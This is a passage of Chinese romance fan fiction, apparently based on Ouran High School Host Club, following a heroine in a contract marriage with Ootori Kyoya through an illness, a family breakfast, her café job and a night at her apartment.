不够热烈滚烫,却不容忽视的将心中的某处填满,发烫的脸颊也随之略微上升了点热度。
凤镜夜克制的目光在对面的少女身上扫了一圈,见她没什么异样就迅速收了回来,虚虚垂落的视线落在怀中人烧红的皮肤上。
他蹙了蹙眉:“这不怪你们,如果不是天气的原因,在你们发出消息之后十分钟之内就能得到救援。”
“而且也是我邀请她来的。 ”
藤冈春绯好受了点,担忧的目光却一直落在昏睡的小一身上。
忽然视线被折射着火光的某样东西闪了一下。
她下意识循着光亮看去,轻轻环在黑川一肩膀上骨节分明的手指被一枚小小的指环圈住,几乎是下一瞬她就看到了黑川一无力的搭在身上的手,小小的指环同样折射着温暖的火光。
看不清戒指的样式,她却莫名笃定两人手上的是对戒。
她不久前才听了黑川一的说明,没过几个小时就看到了这对戒指,原本安心下来的心情又出现了点波澜。
环抱着手臂的手指下意识收紧。
这么快?
我觉得不能再维持这个姿势了,本来就因为发烧而晕乎乎的脑袋,因为透过衣衫的亲昵温度都快变成一团浆糊。
胸口的心跳有所加快。
不妙啊。
是吊桥效应吗?
我好像稍微有点喘不过气了,心跳越来越大声,再这样下去会不会被发现已经醒了啊。
我放在身上的手动了动,准备装做刚睡醒的样子,自然而然的起身。
凤镜夜:“啊,你发现了吗?我和小一已经登记结婚了。”
靠,还有话要说?
我放松刚刚收紧的腿部肌肉,安详的继续靠在特等席光明正大的听墙角,顺便数着凤镜夜越来越快的心跳。
“之后可能出现在大家面前的机会比较多,她是个不太聪明的普通孩子,春绯和她合得来的话,可以多看顾一下吗?”
藤冈春绯理所当然的点头:“那当然啦,不过我觉得小一已经很可爱了,认真的样子竟然更可爱。”
凤镜夜扫过怀中双眸紧闭的少女,想到她在市役所说的话,眸中闪过一丝笑意。
“有的时候也不知道是可爱比较多还是天真比较多。”
什么情况?
突然从暧昧的山洞独处变成了夸夸座谈会?
变成话题中心的我只好顶着烧红的脸继续装睡,装着装着竟然也真的睡了过去,另两人也默契的安静下来。
再次醒来时冷硬的石壁变成了层层叠叠垂坠下来的床幔,鼻尖湿冷的空气变成了
这是获救了?
我扶着额头缓缓起身,身上滚烫酸疼的不适感已经彻底消退,只有四肢还残留着病后的无力感。
陷在过于柔软羽绒被里的手指撑着身体,放慢了下床的动作,我脚踩着拖鞋走了几步才有种和现实接壤的感觉。
狠狠伸了几个懒腰,肚子也咕咕叫了起来。
我摸摸空荡荡的肚子,踩着拖鞋慢吞吞往外走。
“你就打算穿成这样下去?”
我后背一僵,倏然转身看向支撑着身体从床上坐起来的凤镜夜,反复确认我们是从同一张床起来之后,更是震惊。
“你……我……这是什么情况?”
凤镜夜单手撑着额头,睡袍微敞,露出冷色的皮肤以及格外清瘦漂亮的锁骨,隐隐露出的胸膛却带着和冷清的贵公子面容相反的流畅肌肉线条。
禁欲的冷色与能格外勾人心弦的结实肌理同时出现在一个人身上,碰撞出异样的性感。
他声音沙哑:“父亲来了,作为我的妻子和我同住是自然的。”
他在妻子上加了重音。
“你的衣服都在衣柜里。”
他说完后重新倒回床上,从我的视角只能看到被子的起伏以及他带着睡醒薄红的脸。
凤镜夜的父亲来了? !
我摸着肚子打起了退堂鼓,如果要自己一个人去见的话,不如还是先忍耐一下。
“扣扣。”
“镜夜少爷,老爷让您和少夫人一起下去用餐。”
我站在打开的衣柜面前,根本没办法为装满大半衣柜的衣裙的感到开心,听到凤镜夜也一起时松了口气。
房间里很安静,我清晰的听到身后床上那人发出“啧”的一声,才传来被子被掀开的声音。
我轻咳一声,刚想说什么缓和一下气氛,就听见他的声音。
“我知道了。”
声音比刚才还低沉了几个度啊!
我偷偷转头往后看,莫非他有起床气吗?
后背却若有似无的贴上一具颀长的身躯,浅淡清爽的香气再次将我包围,一只手从我的脸侧穿过从衣柜里拿出衬衫。
身后传来窸窸窣窣衣物摩擦的声音。
我想往后看的动作僵住。
为什么直接在这里换衣服啊!
这样傻站着也不是办法,我干脆在令我眼花缭乱的衣服堆里随手选了一条帝政风的淡粉色连衣裙小跑去了浴室。
落在后背的目光让我默默加快了脚步。
在浴室也没有拖延飞快换上了裙子,我扯了扯腰间刚刚好贴合的布料,有些惊讶。
“竟然连这里都刚刚好。”
“当然了,我来之前就已经向常陆院家订购了,时间完全充足,他们当然也不会出现尺码不合的低级错误。”
我伸到背后系丝带的手抖了一下,惊愕地看向浴室玻璃门上透出的影子。
“你怎么知道我的尺码?”
他低声和女仆说了点什么,才漫不经心的回答我的问题。
“在和你正式合作之前,我看过你的资料顺便去了一趟黑川家,资料上说的没错,他们果然对你不重视,我还没有透露结婚的事,他们就已经把你的所有资料都打包给我了。”
其中自然包括身材数据。
我趁他看不到翻了白眼,还真不愧是那家人。
我放弃和后背复杂的飘带对峙,打开门走出去,仰头问他:“你不会答应他们什么了吧。”
凤镜夜戴上眼镜,视线落在她身上停顿了两秒:“只是些似是而非的话而已,没有你的黑川家也没有拉拢的价值。”
我路过他暗暗无语。
恐怕我唯一的用处就是当他的合作伙伴了。
我拿着梳子把头发梳理了一遍,转头看他:“我好了。”
他推了推眼镜走了过来,我站在原地等他,没想到他伸手摸了摸我的头发。
“怎么感觉干燥许多,是因为昨天生病了吗?”
被轻轻拂过的发顶传来一丝酥痒的电流,让我的脊背不自然紧绷。
被摸头怎么会这么舒服?
我克制住蹭蹭他手掌的冲动,用尽量平淡的语气说:“这么长的头发还要打理的很漂亮很麻烦,昨天是因为春绯帮忙,平时就是这个样的哦。”
“不,我记得我第一次见你的时候,似乎比昨天还要漂亮才对。”
他放下手掌,也不是一定要让人弄成那样才能出门,只是忽然有些好奇。
毕竟他见过的女士中不乏每天去美容院保养的,却少有这种程度。
在阳光下简直如绸缎一样亮眼,配上苍白的皮肤以及巴掌大的小脸就已经是足够可爱的少女了。
我沉默的看着他,确定这家伙是来找茬的。
第一次见面我才被踢进任务世界,整天打游戏摸鱼的宅女的头发怎么可能……有人每天打理……等等。
“你是注定为我而来的……能和我一起走下去吗?”
不存在的记忆当中,一道张扬的男声莫名挤了进来。
怎么回事?
我张了张口,想要反驳凤镜夜他看错了,却发不出声音,手指不自觉按上胸口。
这种感觉。
头顶忽然被拍了拍。
凤镜夜平静的声音带上了点无奈和莫名,怎么突然就一副要哭出来的样子。
“麻烦也没关系,以后都可以让女仆来帮忙,时间不早了我们走吧。”
我甩了甩头上的手,发顶仿佛被顺毛了一样的感觉驱散了忽然出现的奇怪情绪:“嗯,走吧。”
“等等。”
凤镜夜叫住了我。
紧接着腰侧的飘带就传来细微的拉扯感,后腰隐约传来不经意的触碰,我颤抖着眼睑站在原地。
“好了。”
我松了口气,提着裙摆加快脚步,直到楼梯口前才放缓脚步跟在他身后。
谁知越过我的凤镜夜不知怎么停了下来。
我茫然的看过去。
他还是一副清爽干净的打扮,微微躬身的时候薄薄的肌理撑着布料形成结实不失流畅的弧度,朝我伸出一只手。
“一起走吧。”
我下意识把手搭上他的指尖,温暖干燥的触感清晰传来。
那只手一点点弯曲将我的手指包裹,然后自然而然的摩擦着,将整只手包裹在内。
第74章
餐厅还是第一次这么安静。
我顺着凤镜夜拉开的椅子坐在他身旁,坐在主位的凤家主除了打招呼时看了我一眼之外,整个早餐时间都只剩下令人窒息的安静。
我暗暗朝公关部其他人瞥了一眼,还真是难得看到他们这么乖巧安静。
思考间切割牛排的刀叉不小心和盘底磕碰,发出刺耳的声音, 在安静的餐桌上更是显眼。
我连忙收回目光, 专注于身前的餐盘。
凤家主的脸色更差了点。
他放下餐具擦了擦嘴,看向姿态优雅的凤镜夜,淡淡的吩咐:“等会儿来我书房。”
这是要单独训话吗?
我不着痕迹的看向身侧,却对上凤镜夜恰好看过来的目光,两人同时一愣。
他拿着餐巾轻触唇角,朝须王环他们示意了一下,然后看不出什么神情应了下来。
等到两人一前一后消失在视线中,我听到双子同时叹了口气。
“呼——还真是安静,镜夜前辈的父亲怎么突然来了?”
那声音由远及近出现在我耳边。
常陆院光的脸从我的肩头探了出来:“黑川桑,你有什么头绪吗?镜夜前辈可是为了你要被责罚了哦?”
须王环看了过来:“喂,光,不要这么说。”
常陆院馨也拉开我另一边的椅子坐了下来,杵着下巴:“既然决定和镜夜前辈结婚,可不能什么都不做当缩头乌龟啊,和你这种没什么背景的平民结婚镜夜前辈想必要承担很多压力吧。”
没什么背景的平民?
我喝完最后一勺甜汤擦了擦嘴巴,听着他们的话忍不住回忆了一下。
被逐出黑川家的我确实是没什么背景没错,就算还留在那里,在凤家这样的庞然大物面前恐怕也算不上什么。
这一点凤镜夜从见到我的第一面应该就知道了。
我终于从这段交往中察觉出了被忽视的地方。
凤镜夜明明是为了拒绝家族安排的联姻才和我约定结婚,这样的他在下父亲面前会是这么胸有成竹的镇定模样吗?
奇怪。
还有这对双胞胎是不是越来越聒噪了?
我推开椅子起身, 朝身边吵闹不停的两人浅笑:“不好意思我出去一下。”
凤镜夜临走前的意思是让我和须王环他们待在一起。
我也没有走远,穿过影影绰绰的纱幔扶着露台的栏杆深吸了几口气,神情有些懊恼。
“不要太担心了,镜夜他做什么事都是有准备的。”
我就着趴在栏杆上的姿势扭头。
金发少年以同样的姿势靠在栏杆上,他的视线落在盛开得灿烂的玫瑰园里眼神十分温柔,我顺着他的眼神看去。
啊,原来是春绯。
春绯背着手走在花丛间,脸上的笑意轻快又美丽,带着特有的纯净。
我看着她也不自觉微笑起来。
“我也相信他。”
那么冷静又胸有成竹的眼神,凤镜夜绝对早就料到有这一天了。
我瞟了腰间收紧的丝带一眼。
只是刚才吃的有点多了,被刚好圈住腰围的丝带勒得透不过气,才溜到阳台喘口气。
我放开捏在手里的飘带尖尖,朝须王环扔了个放心的眼神,朝下面的双子和春绯示意。
“我真的没事,反倒是你在这里和我浪费时间没关系吗?他们是不是也喜欢春绯?”
我微微仰头感受着柔和的带着香气的风吹过脸颊,努力吸了吸肚子,让丝带不那么勒。
耳边不正常的安静了好一会儿。
“喜……喜欢……也?”
我循着奇怪的碎碎念莫名看过去,看清的一瞬不禁后退一步,小心翼翼的伸手戳了戳缩在角落的蘑菇团。
“你还好吗?其实我也不是很清楚哈……哈哈,可能是我理解错了,等等!你不要碎掉啊!”
我抓狂的把人拽起来扔进椅子里,扶着栏杆朝玫瑰园里的春绯喊了一声:“春绯——能来一下吗?”
“稍等——”
藤冈春绯的身影消失在门廊,我松了口气,转身看向须王环:“总之你先坚持一下……”
侧坐在椅子上的须王环甩了甩刘海一脸镇定:“什么?”
“……没什么,说起来你好的还真快。”
我移开视线朝掀开帘子走来的春绯点点头:“须王君好像有点无聊,你们在玩什么呢?”
春绯下意识看了眼背后闪着亮晶晶光芒的须王环,接着看向我,担忧道:“刚刚光拉着我玩水,说起来今天身体感觉怎么样?听镜夜前辈说你凌晨才退的烧。”
“怎么不多休息一会儿。”
半夜?
我按了按额头,昨天是他陪着我直到退烧吗?
心头微妙的涌起一股暖意。
“今天早上起来已经没事了,而且凤君的父亲在的话我也要打起精神才行。”
我看了眼自以为不着痕迹偷看春绯的须王环,莞尔一笑,起身往外走:“我去看看凤君好了,你们先玩。”
春绯看了眼她的手指:“嗯,我来的时候看到凤君的父亲下楼了,你可以吗?”
我朝担忧的春绯摆摆手。
“放心吧。”
我小心点从另一边的楼梯上去找凤镜夜不就好了。
走出露台我拿出手机先给凤镜夜发了个消息问他在哪,脚步放轻往走廊另一端走去。
墙壁两边的油画很漂亮,我不自觉慢下脚步,忽然听到前方传来话音。
“慢点,这是家主吩咐拿给镜夜少爷的,动作快些。”
“嘶!镜夜少爷受伤了?”
受伤?
我脚步一顿。
“今天早上还好好的呢,可能是因为黑川小姐的事吧,总之还是快点上去。”
“镜夜少爷为什么要为了黑川小姐和家主大人作对呢?真是想不通……”
我走过去,清晰的看见其中一人拽了拽另一个女仆的衣角,声音戛然而止。
我停在她们面前看了眼托盘里的东西,伸出手。
她们同时瑟缩了一下。
“抱歉!黑川小姐。”
“非常抱歉,我们不该在背后议论您和少爷。”
“可不可以不要让镜夜少爷知道。”
我的手悬在空中,无奈的从其中一人手中抽出托盘:“东西交给我吧。”
托盘被女仆不知是紧张还是下意识地紧紧攥住。
我们的动作僵持了一下。
其实就算这两人不说,我也能猜到在这偌大的别墅里那么多工作人员绝对会有人在私下里议论,只不过没想到会被我亲自碰见。
大概是……听多了在我背后这样的议论,反而没什么感觉。
我也不过是这个世界的过客而已,任务完成后就会离开,比起在这里浪费时间教训没什么关联的女仆,还不如早早完成任务回家。
想到回家我有种莫名的急切。
冥冥中总感觉有人在等着我。
难不成是前辈想我了?
我稍微用了点力气抽出托盘,没什么表情的朝她们点点头,越过她们踏上楼梯。
“哎呀,这是怎么了?”
可爱的少年音出现在身后。
紧接着是女仆慌张行礼的声音,她低声哽咽:“埴之冢少爷、铦之冢少爷日安。”
“没什么,家主吩咐我们给镜夜少爷拿药上去,只是……黑川小姐一定要亲自送上去……”
啧。
我转身对上两人的眼睛,脑海里已经自动开始播放狗血八点档的剧情,一想到我要成为其中的女主角鸡皮疙瘩已经开始蹦迪了。
我别过头左右看了看,开始面无表情的谴责凤镜夜,这么大的宅子不安监控是有什么心事吗?
我只好重新返回来,看了她们一眼。
两名女仆低垂着脑袋一副忐忑不安的模样。
我叹了口气:“如果真的有需要可以去剧组面试而不是在这里浪费演技,以及我本来没有生气的。”
“黑川小姐,我……不明白您在说什么?”
“不……不是您一来就把东西夺走的吗?”
我又叹了口气,拿出手机按了按,看到凤镜夜的回复后朝埴之冢光邦和铦之冢崇点点头转身离开。
“你们是凤家的佣人,我会直接和凤君说的,我有录音哦。”
我朝她们晃了晃手机上楼离开。
两名女仆对视一眼,同时看向埴之冢光邦,脸色发白:“光邦少爷……”
“我们走吧,崇。”
“嗯。”
铦之冢崇看了眼想要跟上来的两人,她们动作顿时僵住。
埴之冢光邦背着手走在前面开心的说:“呐呐,小一今天看起来好像有点不开心,本来刚才想邀请她的,果然只能晚点再一起吃蛋糕了。”
总是沉默的铦之冢少爷居然出言回复了。
“啊,可以叫上镜夜。”
两人欢声笑语(?着走远,被留下的两名女仆在警卫靠近的步伐中,眼中逐渐漫上后悔。
我端着托盘敲响房门。
里面传来凤镜夜模糊的声音:“进来。”
我按下门锁推门而入,先是被书房内一行行顶天立地一眼望不到头的红木书架惊了一下,屋内是馥郁的书页与木质香薰混合的味道。
厚重的窗帘被拉得严严实实,只有靠窗的茶几上亮着一盏书灯,将衬衫袖口挽到希手肘的凤镜夜靠在深红的沙发里,染上暖色的手指翻开腿上的书页。
他没有抬头:“来了?”
我下意识放轻了脚步,将手里的东西放在桌上,轻轻在他身边附身。
“凤君……”
凤镜夜的心情似乎不太好。
我扫了一眼他腿上的书,密密麻麻的法文看得我头晕,我转过视线落在他脸上,惊愕的发现他冷色的脸颊赫然有大片红肿!
被打了!
我脑海里闪过这几个大字。
把准备告状的话吞了下去,还是不麻烦他了。
这种时候没眼色的告状的话,说不定会被迁怒,可恶啊,这就是一入高门深似海吗,开始为自己以后的生活质量担心了。
我看着他垂落下来在脸上打出一小片阴影的睫毛,没有提起上药和女仆的事情,而是起身走到他身后手指轻缓的搭上他的额头。
总之先当做什么都没发生,努力加好感之后跑路吧。
凤镜夜翻页的指尖一顿,眉头微敛,想让她停下,又觉得在细腻指尖轻柔的动作下,积蓄的疲劳似乎在逐渐消失。
被人关心的感觉还不赖,拒绝的话停留在嘴边,到底没有说出来。
他干脆合上书,闭目靠在沙发上安静了一会儿。
过了几分钟,他嗅着并不陌生的幽香,声音有几分慵懒的沙哑:“你过来是想说什么?”
如果是刚刚楼下发生的事,原本他是不打算为她出头的,作为他的妻子她应该早些学会处理这些。
现在反而主动询问起来。
如果她求助的话,他帮忙摆平也不是不行。
他脑海里浮现少女脸上隐隐划过的担忧,被呵斥过的心情诡异的开始好转。
我手指一顿,思来想去,最终还是老老实实回答:“来帮你上药。”
“……”
空气安静了一会儿,我看见凤镜夜闭着眼睛面无表情的说:“那就来上。”
我拿着棉签靠近他的脸,轻手轻脚的上药。
总觉得气氛怪怪的,凤君刚才有想说什么吗?
第75章
加长林肯停在破旧的小区外围。
我打开车门, 朝几人挥了挥手:“再见,谢谢这几天的照顾。”
然后又看向凤镜夜单独打了个招呼。
凤镜夜目前住在凤家主宅,在这一点上我和他都达成了共识,先分开住比较好。
“小一。”
我转身手里被塞了一个包装精致的包裹。
凤镜夜收手关上车窗, 声音逐渐被隔开:“管家给你准备的点心, 还有别忘了明天来樱兰上课。”
“……啊, 嗯。”
还没等我回答车辆就已经载着他离开了。
我不甚在意的转身,提着沉重的包装盒三两下跳上阶梯,打开门钻了进去。
房间空了一个星期,空气中散发着熟悉的熏香和淡淡灰尘气息融合的味道,让我感受到了久违的踏实的舒适感。
拆出来清洗过的床单飘荡在窗外。
阳光透过被擦得锃亮的玻璃星星点点的洒进屋内。
我活动着酸痛的手臂和腰肢噗通一下倒进散发着阳光气息的床铺里,刚才还精神的眼睛一点点垂了下来,快要睡着之前手机发出嗡嗡的震动。
“喂?好, 好的,店长, 没问题, 是哦,我的声音也没问题!”
我起身随手套上家居服抓起头发就打算出门,路过镜子的时候顿了一下,拿起手机拍了一张桌子上摆好的点心。
黑川一:谢谢你的点心, 真是帮大忙了。
黑川一:[猫猫星星眼.JPG]
等了一会儿对面没有回复。
我小跑着来到咖啡店,进门之前被里面热闹的状况惊了一下,进去后沿着墙壁钻到更衣室。
忽然眼前一黑。
店长泪眼汪汪的抱住她:“小一你可算来了!我们快要坚持不住了。”
我手足无措了一会儿, 还是试探的拍拍她的背:“好啦好啦, 我不是来帮忙了吗?话说这就是店长你在网上运营的成果吗好厉害!”
她轻咳一声站直身体,骄傲的说:“是的!我果然是商业天才,等到出国之后我就可以把店交给经理人在国外开分店了!”
虽然不是很懂, 但我还是积极的鼓掌。
“哦!好厉害!”
店长表情卡了一下,无奈的推着我去换衣服:“小一你知道夸人的时候只有语气肯定很奇怪的吧?”
“总之快去换衣服给我工作。”
我:“……知道了。”
晚上的忙碌程度出乎我的意料,还好开口指名我的客人不是很多,比起能够说话后特点变成不善言辞的我,果然还是其他的同事姐姐更可爱。
我端着咖啡杯钻进后厨,捶着腰松了一大口气。
拿出手机看了一眼。
是一张在街边随手拍的照片。
夜幕下装潢温馨的咖啡厅玻璃窗贴着可爱风格的贴纸,昏黄的灯光将玻璃窗内端着托盘的猫耳女仆笼罩在内,像是某种极为精致的迷你积木玩具。
看着这张照片也能知道拍照的主人注意力在热闹的人群中,全部集中于一个人的身上。
我手指动了动,这个角度拍的照片?
“小一?你怎么了脸这么红?”
我吓了一跳想把手机收起来,却一个没拿稳掉了下去。
店长先一步捡了起来递给我。
“没事吧?要是太累了跟我说哦。”
我连忙将手机接过来合上,结果还是慢了一步,店长的眼神动了动,旋即在我莫名慌张的眼神中露出一个意味深长的笑容。
“抱歉,我不该在这时候摸鱼。”
她拍了拍我的肩膀:“诶呀,我不是想说这个啦,那个位置的话我记得那个帅哥坐在那里好久了,难不成是等你的?”
什么?连店长都看到了?
我胡乱摇摇头,我和凤镜夜的关系还不知道怎么解释,但应该也还没到他特意来找我的程度。
毕竟白天才分开来着……
我转身想要继续工作:“应该不是等我的,店长我先去忙了。”
谁知她一把抓住我的手挤眉弄眼的把我从后门推了出去。
“耽搁年轻人的青春可是重罪,你去吧,今天给你算小时工。”
我提着被塞过来的两杯咖啡在原地站了一会儿,有些窘迫的扯了扯裙子:“我还没换衣服啊。”
算了。
我拿出手机给凤镜夜发消息。
还是问问他有什么事让他早点回去吧。
皮鞋在地面蹭了蹭,我借着手机屏幕整理了一下头发,手指忽然一顿,合上手机转身。
“你怎么在这边?”
凤镜夜按了按额头,被酒精蒸腾过的脑袋视线有些模糊不清,眨了眨眼才看清她的脸。
“恰好经过这里,你还在上班?”
他视线落在半空,声线在黑夜中格外冷清:“我等会儿就回去了。”
一杯散发着热气的咖啡被一只稍小的手掌托着递到面前。
“凤君……你是不舒服吗?喝点热的说不定会好点。”
他扩散的瞳孔动了动,又一次将视线落在她略带关心的脸上,那天黄昏的书房中疲惫被一点点熨平的感觉又卷土重来。
可明明今天就连肢体接触都没有。
我直接把咖啡杯塞进他手里,一触即分的手掌果然泛着凉意:“我知道你不想麻烦别人,不过我好歹也算是和你有点关系的家伙吧?”
在他眼前晃了晃戴着戒指的手。
“不舒服的话就别硬撑了,店里还有位置,我带你去休息一下。”
“等会儿再让司机来……接?”
我转身拉开咖啡店后门的同时,头顶忽然一重,带着浅淡酒精味道的吐息将狭小的空间充盈。
“凤君?”
今天晚上是他独自参加的酒局,大概是他作为凤家三子开始正式独立的标志,也是父亲对他擅自做决定的惩罚。
他心底的抗拒和犹豫好像随着少女的叙述找到了出口。
是的,他们是拥有特殊联系的家伙,不是家人朋友爱人,所以才能更肆无忌惮。
他的狼狈中除了自己的野心,也应当有她一份。
这样想着凤镜夜放任自己在这个看不清的小巷中,将她从背后完整的包裹进怀中,嗅着鼻尖带着暖意的馨香,脑海中一跳一跳的疼痛逐渐消减。
真正将人毫无保留的揉进怀中,他不可抑制的低低喘息了一声。
还有剩下的最后一丝理智让他克制住不断加重力道的冲动,胸膛加快的起伏宣泄着他的心情。
被环抱着的人恰好整个将他怀中的空隙填满,是完完全全的契合,他弯腰将额头抵在她的颈侧呼吸交融间,听到了错觉般的心跳声。
为什么会这么舒服。
拥抱一个人的感觉原来是这样吗?
我被喷洒在颈侧的温热呼吸弄得不自在极了,等了好一会儿才试探性地喊了他一声:“凤君?”
身后的人没有回答,呼吸平稳。
我不敢轻举妄动的又等了一会儿,直到脚跟开始发麻,才不得不顶着他的胸膛转身。
“我要回去工作了……”
被稍微推开的家伙重新倒在我身上,脸颊似乎被什么软软的东西擦过,但我已经没心情探究了。
想要用他的手机打电话叫司机结果不知道密码的我,只好搬着身高181的家伙一点点从巷子挪到路边。
打车回家的路上还要和眼神奇怪的司机大叔出示对戒来证明我真的不是什么坏人。
这些都不是重点,关键是我带着他站在我家公寓·五楼·无电梯前时,忽然有些欲哭无泪。
想打电话给须王环让他来处理。
……最终还是把人挪上去了。
我满头大汗的把人放到沙发上,来不及喘气就掏出手机,先和店长道歉穿走了衣服,明天会还回去的。
店长:“哎呀,不用这么快,小一还真是举一反三呢,记得不要弄脏哦。”
我:“……”
一股有由内而外的无力感席卷而来,我解释的力气都没有了,靠在沙发边放空了一会儿才起身找了一床毛毯给凤镜夜盖上。
我摸了摸脸上干涸的汗珠,觉得自己跟个傻子一样,吐了口气。
“算了,还是先去洗澡吧,这个时候洗掉不知道明天兼职之前能不能干。”
我站在花洒下冲着水,享受一天中难得的空闲,浴室门却忽然被人敲了敲。
“小一?”
我动作一顿,慌张的左右看了看,一时间不知道是先穿衣服还是先找浴巾。
“咳,你醒了?醒了的话就自己给司机打电话载你回去吧,我这里没有多余的客房。”
身为任务者的职业素养在驮着人爬楼梯的时候就已经消耗光了,可恶,我现在只想要一个人享受安安静静的晚上。
浴室外安静了一会儿。
我还以为人已经走了的时候,凤镜夜委屈的声音传来。
“电话?可是我好困,沙发好窄我能睡床吗?”
我按了按耳朵,确定不是刚才耳朵进水造成的幻觉,嘴巴先一步出卖了自己:“你睡吧。”
等等!
我捂住嘴巴,怎么能这么轻易就答应啊? !
他礼貌的道谢后,脚步声逐渐远去,我含泪挥别今天新换的床单。
清晨,我在沙发上疲惫的睁开眼睛,起身穿鞋。
“嘶!好疼!”
浑身上下的肌肉像是昨天晚上被人揍过一样的疼痛。
“咔嚓。”
我维持着扭曲的表情转头和从房间走出来的凤镜夜对上视线。
一夜过去他的理智回归,冷静地眼睛在公寓里看了一圈,然后收敛起不明显的震惊看向我。
“请问浴室在哪?”
我面无表情的指了指浴室门。
他优雅的点点头,穿着起了毛球的棉拖鞋走进浴室。
我想到什么:“对了,里面的空间有点低,你注意点。”
沉闷的磕碰声在浴室里响起。
我声音卡了一下,感觉头顶痒了一下,产生了点幻痛,悻悻地转头:“可不是我不提醒你,都怪你长得太高了。”
我打开昨天带回来的点心掂量着分出一份,想了想又加了点主食,朝浴室说:“要在这里吃早餐还是去学校吃。”
里面沉默了一会儿。
头上搭着浴巾的少年伴着升腾的雾气走了出来。
没戴眼镜的黑眸视线如有实质的落了过来,额头似乎还带着一片红痕。
第76章
我问完就低头打开烤箱调整温度时间。
半晌,没等到回答却嗅到了一股带着皂角与凤镜夜身上特殊气息的湿润气息。
凤镜夜越过她的肩看向盘子里眼熟的点心,嗓音清冷且平静:“不用了……”
我嗅到气息转头看向他,还没热就已经闻到点心好闻的味道了,嘴角忍不住上扬:“这个点心超好吃哦。”
凤镜夜看着她的眼神顿了顿,改口:“这些就够了。”
“好。”
我愉快地把点心都放进烤箱, 顺便泡了两杯牛奶, 打开冰箱挑选了一个鼓鼓的三明治放进微波炉。
小公寓的厨房清晨有阳光照射进来,落在咕噜咕噜冒着泡的水壶上,我脑海中似乎也跟着出现了一个看不清脸的女人在厨房忙碌的身影。
我端着盘子的手歪了一下。
“小心。”
另一只手从旁边伸过来包裹住我戴着隔热手套的手,一同将盘子放到桌上。
我回过神连忙松手,抓住他的手指仔细看了看,才放心下来。
“还好你没受伤。”
我拍了拍胸口:“不然害你受伤了还真是罪过,谢谢你了。”
凤镜夜垂在身侧的手指动了动,看着她笑意吟吟的小脸垂着眸子移开视线,看不出情绪。
他一向不太多话。
我也没在意转身把三明治拿出来,将牛奶放了一杯在他手边,咬了一口三明治。
唔,果然三明治也不错。
刚刚的女人应该是“母亲”还在的时候吧。
我咬下第二口,咕咚咕咚喝了半杯牛奶,才发现凤镜夜看着面前的牛奶没有动作。
我视线在餐盘和牛奶上打了个转, 思考了一下, 难道他吃不惯隔夜的点心?
我试探地把牛奶往他手边推推:“不喜欢吃的话,先喝点牛奶垫垫, 我特意加了蜂蜜, 这个牌子的奶味也很足。”
没等我再行推荐,他修长的手指就圈上了透明的玻璃杯,面不改色的喝完了一整杯牛奶。
喝完牛奶他也没动点心,而是将盘子朝我的方向推了推。
“我不喜欢吃点心,原本也是按照你的口味挑选的,你吃就行了。”
“等会儿会有人给我送东西过来。”
我恍然大悟,也没有推辞,一人干掉了两人份的早餐,幸福是幸福了,就是撑得慌。
我摸了摸肚子,甚至有点犯困,强撑着去卧室换校服。
樱兰的女生校服是鹅黄色的修身泡泡袖连衣裙,布料摸起来也软软滑滑的。
真不愧是贵族学校,我想。
客厅隐约传来说话的声音,凤镜夜的声音清冷而平和像是某种玉石质地倒是很好认。
我将黑发梳理整齐后盘在脑后,这是女仆小姐教给我的办法。
要是没办法将披发弄得那么漂亮就干脆全都挽起来,露出的都是非常漂亮的部分。
我简单照了照镜子,只觉得这个发型和校服意外的适合。
凤镜夜提着管家送来的东西站在卧室门外,拿着手机在看什么消息,听到开门的声音才抬头看过来。
“转学的事情已经办好了,你的成绩还不错,这些是学生证和食堂饭卡,花销会定时打进去的。”
我对镜自照的沾沾自喜褪去,变成了惊讶,双手从他那里把东西接过来。
“这么快就弄好啦,速度真快,哇,这个照片都不像我了。”
我郑重的把饭卡塞进贴身包里,最重要的是听说樱兰的食堂请的是很有名的大厨,太好了!
我欣喜的看向凤镜夜:“谢谢。”
蓦然对上她亮晶晶的眼睛,凤镜夜竟然下意识联想到了总是在聊天框里做出各种行为的小黑猫。
[小猫崇拜.JPG]
他要说的话顿了下,狭长的凤眸恍神了一下,慢半拍才接上刚才的话。
“这张卡我也会每个月定时打钱进去。”
他想说以后不要总是这么寒酸。
今天早上醒来看见陌生狭窄的房间,他还以为昨天被绑架了,没想到这里是黑川一的家。
物理意义上还没有他家厕所大的公寓光是呼吸都让人感到逼仄,更别提那个层高不合格的浴室。
他强忍着没有摸额头上逐渐变得肿热的包。
凤镜夜从来没有在这么差的环境留宿过。
他的妻子当然也不需要。
但刚才厨房中精打细算哼着歌做早餐,把喜欢的点心让给他的黑发少女又格外生动。
算了。
她喜欢的话。
凤镜夜把别再过得这么寒酸的话咽了下去。
“这是作为我妻子的零花钱,你想怎么使用都可以。”
我原本还以为他会说是我的报酬什么的,结果是零花钱!
零·花·钱!
我比刚才更加虔诚的接过卡片,心里泪汪汪,表面还维持着镇定:“真……真的是给我的吗?”
雾蒙蒙的眼睛带着显而易见的惊喜,捧着东西仰头看着他。
凤镜夜手指动了动,总觉得心头被什么东西挠了一下,不动声色的点头:“等我一起去学校,我先去整理一下。”
“嗯嗯~”
我捧着小巧的卡片飘飘然的在公寓里打着转,生活骤然富裕起来,我看着浴室咬咬牙做了个决定。
“明天让人来修修浴室吊顶好了。“
我穿上崭新的皮鞋,摆动着小腿坐在客厅等着凤镜夜出门,时不时观察了一下身上的衣服有没有褶皱。
又一声熟悉的闷响传来。
我垂着的脖颈僵了一下,小心抬头朝从浴室走出来的凤镜夜看去,目光不着痕迹的往他的额头看去。
果然更加红肿了。
他还沾着水的手按着额头,梳理整齐的黑发也落下来两缕:“嘶,好疼。”
我连忙从冰箱里翻找出以前吃点甜点剩下的冰袋隔着手帕按在他额头上,唇角紧绷:“你还好吗?”
他接过冰袋按住,抽空瞥了我一眼,身上丝毫不出差错的贵公子派头少了点,多了些真实。
“你想笑就笑吧。”
注意到她的视线一直落在脸上,他冷淡的说。
我摇摇头,跟在他后面准备出门,余光又确认了一下,有些惊讶。
凤镜夜竟然长胡子! ! !
“别用这种眼神看着我,我好歹也是成年男性,一晚上过去不长才不正常。”
他好像知道我在想什么,头也不回的说,平静的面容风轻云淡,推眼镜时手指却过分收紧。
他要的剃须刀被漏掉了。
我悻悻地收回视线,愧疚心理作祟:“你要不要打理一下?”
凤镜夜垂眸看着她,面色平静的……心动了。
我踮着脚屏住呼吸,拿着一柄崭新的修眉刀沿着被泡沫淹没的地方往下刮。
为了稳定只好用一只手捏住他的下巴,一只膝盖抵着洗手池下端稳住身体,凤镜夜的长腿一左一右拦在膝盖两边。
我脚跟落回地面:“这样太费力了,凤君你再下来一点可以吗?”
